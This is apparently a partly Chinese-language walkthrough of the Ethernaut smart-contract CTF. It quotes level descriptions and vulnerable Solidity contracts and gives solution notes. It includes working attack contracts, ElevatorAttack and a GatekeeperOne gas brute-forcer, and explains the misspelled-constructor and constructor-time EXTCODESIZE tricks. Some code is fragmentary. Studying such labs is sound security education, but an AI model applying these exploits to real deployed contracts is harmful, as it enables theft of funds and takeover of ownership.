If present, the receive ether function is called whenever the call data is empty (whether or not ether is received). This function is implicitly payable.
The new fallback function is called when no other function matches (if the receive ether function does not exist then this includes calls with empty call data). You can make this function payable or not. If it is not payable then transactions not matching any other function which send value will revert. You should only need to implement the new fallback function if you are following an upgrade or proxy pattern.
contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner;
/* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; }
modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; }
function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); }
function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); }
function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); }
function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }
Solution
Solidity 0.4.22 之前的构造函数是和合约同名的(0.4.22及之后都采用constructor(…) {…}来声明构造函数),它只在合约创建时执行一次,题目代码中将function Fallout() public payable书写为function Fal1out() public payable,即变成了一个普通函数,导致可以在外部自由调用,从而改变owner
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you’ll need to use your psychic abilities to guess the correct outcome 10 times in a row.
Things that might help
See the Help page above, section “Beyond the console”
using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public { consecutiveWins = 0; }
function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number.sub(1)));
The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values. This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address. This makes it possible to implement the “library” feature in Solidity: Reusable library code that can be applied to a contract’s storage, e.g. in order to implement a complex data structure.
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
// SPDX-License-Identifier: MIT pragma solidity ^0.6.2;
abstract contract Elevator { function goTo(uint _floor) virtual public; }
interface Building { function isLastFloor(uint) external returns (bool); }
contract ElevatorAttack is Building{ bool public isLast = true; function isLastFloor(uint) override external returns (bool) { isLast = ! isLast; return isLast; }
function attack(address _victim) public { Elevator elevator = Elevator(_victim); elevator.goTo(10); } }
这道题目原来是function isLastFloor(uint) view public returns (bool);考点是Solidity 编译器没有强制执行 view 函数不能修改状态
Privacy
The creator of this contract was careful enough to protect the sensitive areas of its storage.
Unlock this contract to beat the level.
Things that might help:
Understanding how storage works
Understanding how parameter parsing works
Understanding how casting works
Tips:
Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0;
contract GatekeeperOneAttack {
constructor(address GatekeeperOneContractAddress) public { bytes8 _gateKey = bytes8(uint64(tx.origin)) & 0xFFFFFFFF0000FFFF | 0xFFFFFFFF00000000; // NOTE: the proper gas offset to use will vary depending on the compiler // version and optimization settings used to deploy the factory contract. // To migitage, brute-force a range of possible values of gas to forward. // Using call (vs. an abstract interface) prevents reverts from propagating. bytes memory encodedParams = abi.encodeWithSignature(("enter(bytes8)"), _gateKey );
// gas offset usually comes in around 210, give a buffer of 60 on each side for (uint256 i = 0; i < 120; i++) { (bool result, ) = address(GatekeeperOneContractAddress).call{gas: i + 150 + 8191 * 3}(encodedParams); if(result) { break; } } } }
Gatekeeper Two
This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
Things that might help:
Remember what you’ve learned from getting past the first gatekeeper - the first gate is the same.
The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See here for more information. The extcodesize call in this gate will get the size of a contract’s code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge.
7.1. Subtleties. Note that while the initialisation code is executing, the newly created address exists but with no intrinsic body code[5]. [5] During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while CODESIZE should return the length of the initialization code (as defined in H.2).
所以只要在构造函数中调用即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface GatekeeperTwoInterface { function enter(bytes8 _gateKey) external returns (bool); }
NaughtCoin is an ERC20 token and you’re already holding all of them. The catch is that you’ll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
// string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player;
This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
Look into Solidity’s documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
Understanding what it means for delegatecall to be context-preserving.
Understanding how storage variables are stored and accessed.
Understanding how casting works between different data types.
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0;
contract Preservation {
// public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }
// set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } }
// Simple library contract to set the time contract LibraryContract {
// stores a timestamp uint storedTime;
function setTime(uint _time) public { storedTime = _time; } }
A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.5 ether to obtain more tokens. They have since lost the contract address.
This level will be completed if you can recover (or remove) the 0.5 ether from the lost contract address.